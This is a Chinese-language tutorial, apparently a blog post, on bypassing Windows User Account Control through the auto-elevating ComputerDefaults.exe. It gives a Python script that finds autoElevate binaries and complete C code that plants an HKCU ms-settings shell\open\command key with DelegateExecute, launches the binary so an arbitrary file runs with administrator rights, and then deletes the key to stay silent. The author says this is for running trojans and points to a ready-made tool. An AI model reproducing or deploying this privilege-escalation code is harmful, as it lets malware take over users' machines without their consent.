01
什么是UAC
UAC是Windows操作系统中的一种安全功能,全称为User Account Control(用户账户控制)。它的主要目的是为了提高系统安全性,防止未经授权的程序对系统进行更改,以及减少管理员权限下的不必要操作。
UAC的工作原理是通过弹出用户权限请求框,让用户确认是否允许程序进行敏感操作。当需要进行需要管理员权限的操作时,例如修改系统设置或安装程序,UAC会弹出一个对话框,要求用户进行确认。只有在用户确认后,程序才能获得所需的权限进行操作。
如:
aoman师傅说BypassUAC姿势很多种,这是第一种姿势,可以自行手工操作,在文末也提供了该思路的脚本与工具可以一键bypass。
02
BypassUAC
在触发UAC时,操作系统会创建一个名为consent.exe的进程,该进程通过白名单和用户选择来确定是否提升权限。请求进程将要提升权限的进程的commandline和程序路径通过LPC(Local Procedure Call)接口传递给appinfo的RAiluanchAdminProcess函数,该函数首先会验证传入程序是否在白名单内同时判断是否弹出UAC窗口,这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。通常通过UAC的权限提升需要由用户确认,在不被用户发现的情况下静默的将程序的普通权限提升为管理员权限,从而使程序可以实现一些需要权限的操作被称之为BypassUAC。
01
前置条件
有一些系统程序是会直接获取管理员权限同时不出发UAC弹窗的,这类程序被称为白名单程序。 这些程序拥有一个manifest文件该文件本质上是一个XML文件用于标识该程序的配置属性。拥有autoElevate属性程序和微软签名和白名单会被操作系统认为是可信的。会在启动时就静默提升权限。
程序的manifest标识的配置属性 autoElevate为true
程序不弹出UAC弹窗
从注册表里查询Shell\Open\command键值对
而微软官方提供的sigcheck工具可以检查程序的manifest标识的配置属性,可用于检查是否拥有autoElevate属性。
下面python代码可用帮助查找,来源为网络,进行了修改:
import os
from subprocess import *
path = 'c:\windows\system32'
files = os.listdir(path)
def GetFileList(path, fileList):
newDir = path
if os.path.isfile(path):
if path[-4:] == '.exe':
fileList.append(path)
elif os.path.isdir(path):
try:
for s in os.listdir(path):
newDir=os.path.join(path,s)
GetFileList(newDir, fileList)
except Exception as e:
pass
return fileList
files = GetFileList(path, [])
for eachFile in files:
if eachFile[-4:] == '.exe':
command = r'.\sigcheck64.exe -m {} | findstr auto'.format(eachFile)
p1 = Popen(command, shell=True, stdin=PIPE, stdout=PIPE)
if '<autoElevate>true</autoElevate>' in p1.stdout.read().decode('gb2312'):
print( r'{} autoElevate is true'.format(eachFile))
然后再对程序进行挨个测试,ComputerDefaults.exe、eventvwr.exe、fodhelper.exe都可以别的可以自己试试。
02
挖掘思路
这里用其中一个众所周知的程序ComputerDefaults.exe,这个我实战用过。
先使用微软提供的procmon工具对程序的注册表和文件操作行为进行监控,可以多重过滤。
监控ComputerDefaults.exe的行为可以发现,在启动过程中会查询注册表项HKCU:\Software\Classes\ms-settings\Shell\Open\command
发现路径不存在后继续查询,通常已shell\open\command命名的键值对存储的是可执行文件的路径,如果我们能写入这个键值对,那么在程序启动过程中我们会得到一个已高权限执行的可执行文件,由于该键值对属于HKCU,所以即使是普通用户也能编辑该键值对,当我们对其进行修改后就可以以高权限静默执行任意指定文件。
当键值对HKCU:\Software\Classes\ms-settings\shell\open\command存在时(自己创建)
ComputerDefaults.exe会查找HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute
在command下添加DelegateExecute后
则会读取HKCU:\Software\Classes\ms-settings\shell\open\command的值然后执行
如修改为calc.exe,那么在运行ComputerDefaults.exe后,会打开计算器,但这又涉及到一个问题,静默,所以我们要在创建后再进行删除
同样的步骤运行cmd,可以看到,权限进行了提升:
而这个过程完全可以改为自动化运行
DWORD bypass(char* filepath) {
HKEY key;
RegCreateKeyW(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings\\Shell\\Open\\command", &key);
RegSetValueExA(key, NULL, 0, REG_SZ, (BYTE*)filepath, (strlen(filepath)));
RegSetValueExW(key, L"DelegateExecute", 0, REG_SZ, (BYTE*)"", (sizeof("")));
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c C:\\Windows\\System32\\ComputerDefaults.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
Sleep(1000); //不延迟会因过程太空导致未应用
RegDeleteTreeW(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings");
return 0;
}
int main(int argc, char* argv[])
{
if (argc != 2) {
printf("input filepath example: aaa/aaa.exe\n");
exit(1);
}
bypass(argv[1]);
}
我们可以用它来运行马子,可以看到,user后面带*,权限进行了提升,运行的时候要用绝对路径,因为他是利用注册表,除非是在环境变量。
03
工具位置
网盘分享 -> 视频教程
aoman师傅 -> bypassuac